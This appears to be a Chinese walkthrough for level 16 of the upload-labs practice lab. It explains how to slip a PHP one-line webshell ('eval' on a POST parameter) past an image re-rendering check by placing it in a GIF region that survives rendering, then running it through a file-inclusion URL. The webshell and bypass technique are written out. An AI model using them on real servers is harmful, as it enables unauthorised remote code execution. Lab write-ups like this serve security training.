upload-labs第16关(判断照片后二次渲染)详解

it2025-02-12  7

upload-labs16关-详解(判断是否为照片后进行二次渲染)

首先看一下源码

了解函数 imagecreatefromgif(): 创建一块画布,并从 GIF 文件或 URL 地址载入一副图像 imagecreatefromjpeg(): 创建一块画布,并从 JPEG 文件或 URL 地址载入一副图像 imagecreatefrompng(): 创建一块画布,并从 PNG 文件或 URL 地址载入一副图像 imagecreatefromwbmp(): 创建一块画布,并从 WBMP 文件或 URL 地址载入一副图像 imagecreatefromstring(): 创建一块画布,并从字符串中的图像流新建一副图像

首先我们像前面关卡一样,上传图片马,按照我们的习惯,将会在图片的尾部,写入php一句话木马,然后用菜刀或者蚁剑连接,我们先按照此方法进行试验

(1)上传图片马

(2)用burp拦截,拦截到上传的包

(3)在图片尾部插入一句话木马,密码是123

<?php @eval($_POST[123]); ?>

放包上传 (4)将图片地址复制下来,用菜刀连接,密码设置的是123

发现连接失败

原因是照片上传后被渲染了

2. 开始分析渲染的内容

首先将渲染的图片地址复制下来,我们下载到本地

图像另存为,放到桌面,名称是2.gif,原始图片是1.gif 使用hexcap进行文件十六进制对比

红白区域是未被渲染的,红色区域都是已经被渲染的,观察,已经和源文件的hex值不一样了

我们将一句话木马插入没有被渲染的地方,大概就是在文件前段, (注意:不要从头部插入,会破坏gif文件头,验证图片失败,上传不了)

再次上传,并burp抓包

结合文件包含漏洞,使用include.php 构成payload http://192.168.1.66/upload/include.php?file=upload/6169.gif (别忘了使用include.php包含漏洞)

成功

最新回复(0)